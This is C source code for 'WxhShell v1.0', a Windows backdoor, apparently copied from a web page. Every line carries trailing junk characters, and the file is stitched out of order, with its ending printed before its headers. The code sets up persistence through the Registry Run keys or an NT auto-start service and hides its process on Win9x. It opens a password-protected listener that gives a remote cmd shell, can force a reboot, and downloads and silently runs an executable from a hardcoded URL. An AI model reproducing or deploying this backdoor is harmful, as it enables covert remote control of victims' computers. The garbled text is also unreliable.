    send(wsh,msg_ws_err,strlen(msg_ws_err),0); w!^{Q'/,Q  
    else { PP)-g0^@  
    closesocket(wsh); W[tX%B  
    ExitThread(0); ::rKW *?  
    } +q3E>K9a  
    break; Wd_KZ}lX  
    } lAPvphO  
  // 获取shell L9)nRV8  
  case 's': { vb Mv8Nk  
    CmdShell(wsh); js\|xfDxP  
    closesocket(wsh); /F6=iHK(l  
    ExitThread(0); h/n&& J  
    break; >) PcK  
  } :s OsG&y  
  // 退出 iPPW_Q9x  
  case 'x': { 2f$6}m'Ad  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); RBzBR)@5   
    CloseIt(wsh); | sio:QP  
    break; qBIKJ  
    } ?KfV>.()  
  // 离开 u CNi&.  
  case 'q': { 5}t}Wc8  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); (>\w8]  
    closesocket(wsh); o=VDO,eS  
    WSACleanup(); 7Z<ba^r}  
    exit(1); 6>Szxkz  
    break; >A;9Ee"&  
        } /? j vv&  
  } Lk|%2XGO&  
  } AlRng& o~  
IvyBK]{|  
  // 提示信息 x:)8+Rn}  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); SBBi"U:  
} Q7$K,7flf;  
  } "R/Xv+;  
4U;6 2 jq  
  return; k/ 9S  
} ^B|Q&1  
B@W`AD1^{  
// shell模块句柄 @ukIt  
int CmdShell(SOCKET sock) !h0#es\  
{ le-Q&*  
STARTUPINFO si; 24 i00s|#  
ZeroMemory(&si,sizeof(si)); A<VNttgG  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; amn\#_(  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; *g<D p2`  
PROCESS_INFORMATION ProcessInfo; n_/_Y >{M0  
char cmdline[]="cmd";  hVB^:  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); P+~{q.|._c  
  return 0; jLs-v  
} ~)JNevLZ  
O+o1R24JI  
// 自身启动模式 VS lIeZ  
int StartFromService(void) ?x(]U+  
{ F#w= z/  
typedef struct &O5W  
{ @sAT#[j  
  DWORD ExitStatus; crt )}L8-  
  DWORD PebBaseAddress; +JMB98+l  
  DWORD AffinityMask; iwl\&uNQU  
  DWORD BasePriority; =hO0 @w  
  ULONG UniqueProcessId; zMkjdjb  
  ULONG InheritedFromUniqueProcessId; l25E!E-'b  
}   PROCESS_BASIC_INFORMATION; =;9*gDfD  
yqm^4)Dp  
PROCNTQSIP NtQueryInformationProcess; <I{)p;u1  
A@X&d y  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; .*N,x0 B(  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; E  K)7g~  
VE<&0d<  
  HANDLE             hProcess; m\88Etl@  
  PROCESS_BASIC_INFORMATION pbi; o#-K,|-  
/^kZ}}9baU  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); \WnI&nu  
  if(NULL == hInst ) return 0; J<<0U;  
<= xmJx-V  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); +|N!(H  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ,[lS)`G  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ix<sorR H  
k#I4^  
  if (!NtQueryInformationProcess) return 0; S&A, Q'  
Xq9n-;%zL  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 4{h?!Z*  
  if(!hProcess) return 0; _Kp{b"G  
Ccw6,2`&  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; s 9,?"\0Zm  
@"9^U_Qf1z  
  CloseHandle(hProcess); n y7 G  
$W 46!U3  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); J2BW>T!tuw  
if(hProcess==NULL) return 0; MjAF&bD^  
0pWF\<IZ  
HMODULE hMod; lH6zZ8rh  
char procName[255]; G] -$fz  
unsigned long cbNeeded; .`OyC'  
b{C3r3B8  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); S(^*DV  
]OE{qXr{  
  CloseHandle(hProcess); 0jsU^m<g  
9OeY59 :  
if(strstr(procName,"services")) return 1; // 以服务启动 J 00%,Ju_  
>;N0( xB  
  return 0; // 注册表启动 3le/(=&1  
} Ng?n}$g*  
EROf%oaz=  
// 主模块 T [ `t?,  
int StartWxhshell(LPSTR lpCmdLine) Q7X6OFl?  
{ &wbe^Wp  
  SOCKET wsl; 7-"ml\z  
BOOL val=TRUE; \$o!M1j  
  int port=0; uFM]4v3  
  struct sockaddr_in door; h2 2-v X  
T-)Ur/qp  
  if(wscfg.ws_autoins) Install(); @;iW)a_M  
6% @@~"  
port=atoi(lpCmdLine); \Gh]$s p  
N@$g"w  
if(port<=0) port=wscfg.ws_port;  o *2TH2  
sjpcz4|K  
  WSADATA data; (Yz EsY  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; `p@YV(  
~yH<,e  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   *~F\k):>  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); c}a.  
  door.sin_family = AF_INET; 3%?01$k  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); %(GWR@mfC  
  door.sin_port = htons(port); PiMW 29B^  
PpPg ~ix*  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) {  )_P|_(  
closesocket(wsl); sgdxr!1?y  
return 1; eeX^zaKl]  
} }(h_ztw  
>t|u 8/P  
  if(listen(wsl,2) == INVALID_SOCKET) { !Pf_he  
closesocket(wsl); g@!mV)c97  
return 1; eHCLENLmB  
} jTbJL  
  Wxhshell(wsl); `A8nAgbe  
  WSACleanup(); -4|\,=j  
nPp\IE}:  
return 0; ^EGe%Fq*x]  
P9~7GFas|  
} QMoh<[3qu  
^2L\Y2  
// 以NT服务方式启动 fD3}s#M*G  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) Zgt:ZO  
{ 9(>]6|XS  
DWORD   status = 0; ?mxBMtc  
  DWORD   specificError = 0xfffffff; +H5= zf2  
gWm -}Nb4  
  serviceStatus.dwServiceType     = SERVICE_WIN32; V @A+d[  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; }5~|h%  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; nUi 4!|r  
  serviceStatus.dwWin32ExitCode     = 0; :kUZNw'Bi  
  serviceStatus.dwServiceSpecificExitCode = 0; vtyk\e)   
  serviceStatus.dwCheckPoint       = 0; g9> 0N#<  
  serviceStatus.dwWaitHint       = 0; V)M+dhl  
Q}p+/-U\  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); }D_h*9  
  if (hServiceStatusHandle==0) return; 4,CQJ  
w] b3,b  
status = GetLastError(); ~1&%,$fZ  
  if (status!=NO_ERROR) P?GHcq$\  
{ {&,9Zy]"S  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; m6J7)Wp  
    serviceStatus.dwCheckPoint       = 0; 7%C6hEP/*W  
    serviceStatus.dwWaitHint       = 0; <aJdm!6  
    serviceStatus.dwWin32ExitCode     = status; *oAv:8"iY  
    serviceStatus.dwServiceSpecificExitCode = specificError; P;o6rQf  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); %~`8F\Hiu  
    return; D_oGhQYY4  
  } t sdkpt  
cd1M0z  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; C8qA+dri  
  serviceStatus.dwCheckPoint       = 0; 5)fEs.r0U  
  serviceStatus.dwWaitHint       = 0; <[O8 {9j  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); QXZjsa_|  
} s`W\`w}  
CL{R.OA  
// 处理NT服务事件,比如:启动、停止 J-t5kU;L{  
VOID WINAPI NTServiceHandler(DWORD fdwControl) #9aB3C  
{ 1&A@Zo5|  
switch(fdwControl) W99MA5P  
{ G8%Q$  
case SERVICE_CONTROL_STOP: H)&6I33`  
  serviceStatus.dwWin32ExitCode = 0; %a%x`S3  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; &WN#HI."]  
  serviceStatus.dwCheckPoint   = 0; lhsd 39NM  
  serviceStatus.dwWaitHint     = 0; iM;7V*u  
  { WZq0$:I;R  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); IXYSZ)z  
  } Fm(~Vt;%u  
  return; (R)\  
case SERVICE_CONTROL_PAUSE:  PZZTRgVc  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; c,%9Fh?(  
  break; mo1(dyjx  
case SERVICE_CONTROL_CONTINUE: M`!\$D  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; x&qC~F*QR%  
  break; Jolr"F?  
case SERVICE_CONTROL_INTERROGATE: E)liuu! qI  
  break; OYKeu(=L  
}; OZ\]6]L  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Ei!5Qya>  
} dn0?#=  
]m} <0-0  
// 标准应用程序主函数 jj^{^,z\  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) >vE1,JD)w  
{ yi`Z(j;  
J [}8&sn  
// 获取操作系统版本 MNURYA=  
OsIsNt=GetOsVer(); k,o|"9H  
GetModuleFileName(NULL,ExeFile,MAX_PATH); CAg\-*P|  
l]Ozy@ Ib  
  // 从命令行安装 =KfV;.&  
  if(strpbrk(lpCmdLine,"iI")) Install(); m1DzU q;  
:A%|'HxH3  
  // 下载执行文件 G0p|44_~t  
if(wscfg.ws_downexe) { &9b sTm  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) z(]14250  
  WinExec(wscfg.ws_filenam,SW_HIDE); X2b<_j3  
} A<ca9g3  
6.? Ke8iC  
if(!OsIsNt) { dKyJ.p   
// 如果时win9x,隐藏进程并且设置为注册表启动 MONfA;64/  
HideProc(); 4%wP}Zj#  
StartWxhshell(lpCmdLine); My'u('Q%  
} ?c7 12a ?  
else PM3kI\:)m  
  if(StartFromService()) jbx@ty  
  // 以服务方式启动 \sB a  
  StartServiceCtrlDispatcher(DispatchTable); *:r@-=M3=  
else ;WX)g&19x  
  // 普通方式启动 L{fKZ  
  StartWxhshell(lpCmdLine); r )8[LN-  
`I+G7K K  
return 0; 3=w$1.B d  
} uM"G)$I\  
'PW~4f/m  
(S/f!Dk&3  
nO^aZmSu  
=========================================== FoY_5/  
(jYHaTL6Y'  
S;#S3?G  
ab ?   
Oga/  
{fXD@lhi  
" {@K>oaZ  
_l$V|  
#include <stdio.h> 39| W(,  
#include <string.h> ,!U._ic'B  
#include <windows.h> pyA;%vJn  
#include <winsock2.h> 4%L`~J4 wr  
#include <winsvc.h> * ^R?*vNs  
#include <urlmon.h> -r%4,4  
c@d[HstBJ  
#pragma comment (lib, "Ws2_32.lib") 1fBj21zG  
#pragma comment (lib, "urlmon.lib")  pv<$ o  
2QwdDKMS_  
#define MAX_USER   100 // 最大客户端连接数 O>]I!n`!!A  
#define BUF_SOCK   200 // sock buffer ETk4I "  
#define KEY_BUFF   255 // 输入 buffer ?+-uF }  
nNNs3h(Ss  
#define REBOOT     0   // 重启 <SeK3@Gi  
#define SHUTDOWN   1   // 关机 =0,:w(Sb!  
v'`VyXetl  
#define DEF_PORT   5000 // 监听端口 aewVq@ngq!  
0k"n;:KM8  
#define REG_LEN     16   // 注册表键长度 ?@"F\Bv<h  
#define SVC_LEN     80   // NT服务名长度 yPG,+uQ$.  
wZ7Opm<nt  
// 从dll定义API _U}pdzX?  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); A$gP: 1&m  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); Rlc$2y@pU  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); ^ NZq1c  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); K|Sh  
,l-tLc  
// wxhshell配置信息 kSJWXNC  
struct WSCFG { &%M!!28X:  
  int ws_port;         // 监听端口 ];& @T\Rj  
  char ws_passstr[REG_LEN]; // 口令 yhzC 9nTH  
  int ws_autoins;       // 安装标记, 1=yes 0=no .U.Knn  
  char ws_regname[REG_LEN]; // 注册表键名 &''lOS|  
  char ws_svcname[REG_LEN]; // 服务名 (tQ#('(w  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 "G. L)oD  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 9[yW&t;#  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 $yG>=GN  
int ws_downexe;       // 下载执行标记, 1=yes 0=no s;!TB6b@  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" chw6_ctR>  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 Wk1o H  
bgD4;)?5b  
}; [(Z{5gK  
I8*_\Ez  
// default Wxhshell configuration QWL$F:9:  
struct WSCFG wscfg={DEF_PORT, jK`b6:#(,  
    "xuhuanlingzhe", Z$qLY<aV  
    1, G 3))3]  
    "Wxhshell", hSQ*_#  
    "Wxhshell", S]_iobWK  
            "WxhShell Service", 1/b5i8I2 v  
    "Wrsky Windows CmdShell Service", )b^yAzL?  
    "Please Input Your Password: ", 1F`1(MYt9  
  1, 9FB k|g"U)  
  "http://www.wrsky.com/wxhshell.exe", +OSF0#bj  
  "Wxhshell.exe" # .1+-^TQk  
    }; {8b6M  
V~nqPh!Jc  
// 消息定义模块 ^{f ^%)X  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 3d<Z##`{4  
char *msg_ws_prompt="\n\r? for help\n\r#>"; *F:f\9   
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; SUv(MA&  
char *msg_ws_ext="\n\rExit."; XcN"orAo  
char *msg_ws_end="\n\rQuit."; tf1iRXf8  
char *msg_ws_boot="\n\rReboot..."; 4:1URhE  
char *msg_ws_poff="\n\rShutdown..."; Mn`);[  
char *msg_ws_down="\n\rSave to "; TVy\%FP^L  
f]c{,LFvZ  
char *msg_ws_err="\n\rErr!"; TsiI5'tx  
char *msg_ws_ok="\n\rOK!"; BO5\rRa0  
+5AWX,9,-  
char ExeFile[MAX_PATH]; l@edR)n <  
int nUser = 0; {'O,G$Ldkr  
HANDLE handles[MAX_USER]; l X g.`  
int OsIsNt; MaMP7O|W  
rQE:rVKVh  
SERVICE_STATUS       serviceStatus; B=vBJC)  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; V)|]w[(Y  
HLYog+?  
// 函数声明  .7GTL  
int Install(void); .J?cV;:`  
int Uninstall(void); V{qpha4'P  
int DownloadFile(char *sURL, SOCKET wsh); -jXO9Q  
int Boot(int flag); 4MM /i}  
void HideProc(void); =r1-M.*a.M  
int GetOsVer(void); L_@P fI  
int Wxhshell(SOCKET wsl); X ? eCK,  
void TalkWithClient(void *cs); |aD8  
int CmdShell(SOCKET sock); a] =k-Xh  
int StartFromService(void); %%uvia=e  
int StartWxhshell(LPSTR lpCmdLine); Veeuw  
[2*?b/q3J  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); wk+| }s  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); >#u9W'@|  
wqx9  
// 数据结构和表定义 LH_VdLds  
SERVICE_TABLE_ENTRY DispatchTable[] = (^!$m7  
{ E\/J& .  
{wscfg.ws_svcname, NTServiceMain}, Vt4KG+zm  
{NULL, NULL} G;jX@XqZ  
}; ;T-`~  
i#4}xvi  
// 自我安装 l%\p  
int Install(void)  $I*<gn9  
{ o5h*sQ9  
  char svExeFile[MAX_PATH]; $?Dcp^  
  HKEY key; J 2H$ALl  
  strcpy(svExeFile,ExeFile); #(Xv\OE  
f;{K+\T  
// 如果是win9x系统,修改注册表设为自启动 4:zyZu3fm  
if(!OsIsNt) { rq(9w*MW:  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { >;^t)6  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); /#Fz K  
  RegCloseKey(key); K=K]R01/o  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 4tA`,}ywPq  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); w ]%EJ|'  
  RegCloseKey(key); [8 I*lsS  
  return 0; WALK@0E  
    } 0bz':M#k &  
  } >~}}*yp  
} u2o196,Ut  
else { TxA%{0  
;{j@ia  
// 如果是NT以上系统,安装为系统服务 RKb{QAK!v  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); OCN:{  
if (schSCManager!=0) tO}Y=kZa{  
{ NG+%H1!$_  
  SC_HANDLE schService = CreateService 52P^0<Wq  
  ( >1*Dg?/=S  
  schSCManager, ^ }kqAmr  
  wscfg.ws_svcname, #Fkn-/nL  
  wscfg.ws_svcdisp, 2Q;g|*]  
  SERVICE_ALL_ACCESS, tNf_,]u  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , q;Rhx"x>T  
  SERVICE_AUTO_START, ZCAg)/  
  SERVICE_ERROR_NORMAL, ./qbWr`L  
  svExeFile, 7X{@$>+S  
  NULL, MhDPf]` Gg  
  NULL, J ]ri|a  
  NULL, $z,rN\[  
  NULL, 49!(Sa_]j  
  NULL P0c6?K6 j  
  ); Wr6y w#  
  if (schService!=0) yc7 "tptfF  
  { INNTp[  
  CloseServiceHandle(schService); bbG!Fg=qQ?  
  CloseServiceHandle(schSCManager); bMGU9~CeJ  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 6[T)Q^0`  
  strcat(svExeFile,wscfg.ws_svcname); Ue&I]/?;$  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { |Duf 3u  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); cv7.=*Kb;  
  RegCloseKey(key); rD!UP1Nb  
  return 0; j V'~>  
    } 3kW%,d*_  
  } (nnIRN<}$  
  CloseServiceHandle(schSCManager); /4>|6l=  
} FIN0~ 8  
} t~V?p'a0ys  
u`gY/]y!  
return 1; LL%s$>c65A  
} uB;PaZ G?{  
SU7 erCHX  
// 自我卸载 3J}/<&wv  
int Uninstall(void) zgPUW z X=  
{ }JM02R~I  
  HKEY key; i*6 1i0  
Tqm)-|[  
if(!OsIsNt) { lEC91:Jyt  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Ih_=yk  
  RegDeleteValue(key,wscfg.ws_regname); )YPu t.  
  RegCloseKey(key); jmr1e).];  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { +5N09$f;R  
  RegDeleteValue(key,wscfg.ws_regname); 9xRor<  
  RegCloseKey(key); {1}p+dEK  
  return 0; = KJ_LE~)  
  } |bX{MF  
} {s3j}&  
} AiUK#I  
else { *?R<gWCF  
^K?Mq1"Db  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); AcIw; c:  
if (schSCManager!=0) K*aGz8N  
{ JQ<9~J  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 4mci@1K#^  
  if (schService!=0) U&OE*dq  
  { `{+aJ0<S  
  if(DeleteService(schService)!=0) { >U6 2vX"  
  CloseServiceHandle(schService); qlg?'l$03)  
  CloseServiceHandle(schSCManager); ,3bAlc8D7  
  return 0; oLc  
  } v"V?  
  CloseServiceHandle(schService); p K hV<MFB  
  } 9;L50q>s  
  CloseServiceHandle(schSCManager); pP*`b<|  
} %0lJ(hm  
} yL"pzD`[H  
9V?:!%J  
return 1; JU!vVA_  
} r!)jxIL\  
V~4yS4  
// 从指定url下载文件 9._Osbp3P  
int DownloadFile(char *sURL, SOCKET wsh) WoD Qg64  
{ ^ Iy'<J  
  HRESULT hr; E-b3#\^:  
char seps[]= "/"; QvDD   
char *token; 4^{~MgQWK+  
char *file; GcHZ&m4  
char myURL[MAX_PATH]; WXX08"  
char myFILE[MAX_PATH]; 2@?\"kR"!  
U,tWLX$@  
strcpy(myURL,sURL);  cE7IHQ  
  token=strtok(myURL,seps); o0FVVSl  
  while(token!=NULL) I7HP~v~  
  { :eL ja*  
    file=token; +*Pj,+;W  
  token=strtok(NULL,seps); 5tcJT z  
  } &)F# cVB  
jbs)]fqC;  
GetCurrentDirectory(MAX_PATH,myFILE); 11BfJvs:  
strcat(myFILE, "\\"); o WcBQ|   
strcat(myFILE, file); ;0Mg\~T~'  
  send(wsh,myFILE,strlen(myFILE),0); \"=b8x  
send(wsh,"...",3,0); k-|b{QZ8!;  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); O_|p{65  
  if(hr==S_OK) EM0]"s@Lf  
return 0; BLcsIyq  
else ?vocI  
return 1; $#7~  
 rhO 8v  
} J/ZC<dkYQ  
I>%@[h,+  
// 系统电源模块 { GKqOu  
int Boot(int flag) +HfZs"x  
{ ehr,+GX  
  HANDLE hToken; ALl0(<u67  
  TOKEN_PRIVILEGES tkp; 5}he)2*uD  
Fy-|E>@]D  
  if(OsIsNt) { . J.| S4D  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); Y]9C8c)  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 6^v HFJ$  
    tkp.PrivilegeCount = 1; "6xTh0D  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 4kdQ h]  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); SAtK 'Jx[  
if(flag==REBOOT) { @ Yzc?+x  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ="AJ &BqHd  
  return 0; pb=yQ}.  
} MP%pEUomev  
else { V8IEfU  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) Q0-}!5`E1$  
  return 0; $+Zj)V(  
} -?PXj)<  
  } -A;4""  
  else { 7?EC kuSv  
if(flag==REBOOT) { 2:Rxyg@'  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) g@B,0JRh  
  return 0; oK{H <79  
} =d`/BDD  
else { n ;0x\Q|S  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) qFg"!w  
  return 0; YDdY'd`*  
} e= w.7DSE  
} TP?HxO_C  
N cnL-k.  
return 1; _)F0o C {  
} sN9 SuQ  
[SA$d`B/  
// win9x进程隐藏模块 \<4Hp_2?  
void HideProc(void) fk  
{ iJem9XXb  
oar`xH$C  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); X/-u$c  
  if ( hKernel != NULL ) v %GcNjZk5  
  { wC4:OJ[d  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); &W:R#/|  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); HE>sZ;  
    FreeLibrary(hKernel); #+ 6t|  
  } YMTB4|{  
{ 0 vHgi  
return; eE-c40Bae  
} (v$$`zh  
1pHt3Vc(G  
// 获取操作系统版本 >5+]~[S  
int GetOsVer(void) &0QtHcXpR  
{ ^VAvQ(b!:i  
  OSVERSIONINFO winfo; gyAKjLqqpi  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); "8YXFg  
  GetVersionEx(&winfo); ]eD5It\  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) L#X!.  
  return 1; V=DT.u  
  else +/Q ?<*[  
  return 0; zMW[Xx!  
} +7|Qd}\X  
K3($,aB}  
// 客户端句柄模块 /pOK4"  
int Wxhshell(SOCKET wsl) *>f-UNV  
{ KWB;*P C^  
  SOCKET wsh; s0bWg$  
  struct sockaddr_in client; yqKERdm  
  DWORD myID; *cnxp-)ub  
UJ8V%0  
  while(nUser<MAX_USER) 1} h''p  
{ XI*cu\7sy  
  int nSize=sizeof(client); f0,,<ib.w  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); @Nk]f  
  if(wsh==INVALID_SOCKET) return 1; +Xjevg6DU  
gjnTG:}}}+  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); _ZD8/?2QV  
if(handles[nUser]==0) T($6L7 j9  
  closesocket(wsh); BV`,~n:  
else bcCCvV}6WZ  
  nUser++; H^\2,x Z  
  } U*7Yi-"/*  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); K oF4e:2>  
m6D]   
  return 0; HLml:B[F(  
} 69>N xr~k  
KsMC+:`F  
// 关闭 socket 8wQ|Ep\  
void CloseIt(SOCKET wsh) ,@]rvI6 x  
{ 39zwPoN>  
closesocket(wsh); Hjtn*^fo^  
nUser--; ,F)9{ <r]  
ExitThread(0); @3@oaa/v  
} [J71aH  
95%, 8t  
// 客户端请求句柄 }3&~YBx;:  
void TalkWithClient(void *cs) #0wH.\79  
{ d:V6.7>,  
/o)o7$6Q  
  SOCKET wsh=(SOCKET)cs; fX[6  {  
  char pwd[SVC_LEN]; "2~%-;c  
  char cmd[KEY_BUFF]; RN"O/b}qQ  
char chr[1]; /y<nAGtD&  
int i,j; K@UQ O  
TUaW'  
  while (nUser < MAX_USER) { E")g1xGaK  
O5?Gv??@  
if(wscfg.ws_passstr) { C0bOPn  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); %m5&U6  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ca{u"n  
  //ZeroMemory(pwd,KEY_BUFF); 'eRJQ*0F  
      i=0; %Qc5_of  
  while(i<SVC_LEN) { #^FDFl  
B}YpIb]d  
  // 设置超时 ozr82  
  fd_set FdRead; &+Iv"9  
  struct timeval TimeOut; mm,be.  
  FD_ZERO(&FdRead); ZXR#t?D  
  FD_SET(wsh,&FdRead); `43X? yQ  
  TimeOut.tv_sec=8; ZLRAiL  
  TimeOut.tv_usec=0; Z[{k-_HgAm  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); dY'mY~Tv  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); t@(`24  
Mx<? c  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); KS6H`Mm}/  
  pwd=chr[0]; UD@u hL  
  if(chr[0]==0xd || chr[0]==0xa) { c+^#(OB  
  pwd=0; _CDl9pP36#  
  break; @Pt,N qj:  
  } S)h0@;q  
  i++; bim 82<F  
    } jbU=D:|  
>P/Nb]C  
  // 如果是非法用户,关闭 socket (p FPuV  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ."#M X!  
} ie f~*:5  
Fu%%:3_  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); j.FW*iX1C  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); b+g(=z+  
a9=pZ1QAG  
while(1) { :{ }]$+|)\  
}9qbF+b  
  ZeroMemory(cmd,KEY_BUFF); ?pAO?5Z:}  
=(^-s Jk  
      // 自动支持客户端 telnet标准   ]S=AO/'  
  j=0; 0Ek + }`  
  while(j<KEY_BUFF) { TL?(0]H fe  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 2unaK<1s  
  cmd[j]=chr[0]; MzY~-74aF  
  if(chr[0]==0xa || chr[0]==0xd) { .-Xp]>f,  
  cmd[j]=0; HaUfTQ8  
  break; ZM~kc|&  
  } xp4w9.X5(  
  j++; yl=_ /'*  
    } UY!N"[&  
E_[)z%&n2  
  // 下载文件 *61+Fzr  
  if(strstr(cmd,"http://")) { q*^F"D:?k  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); H*Tc.Ie  
  if(DownloadFile(cmd,wsh)) [9:'v@Ph  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); JF vVRGWB  
  else Q--VZqn  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); #00k7y>OyD  
  } .K n)sD1  
  else { D]s8w  
x'.OLXx>  
    switch(cmd[0]) { p..O;_U  
  z  DP  
  // 帮助 .)zX<~,  
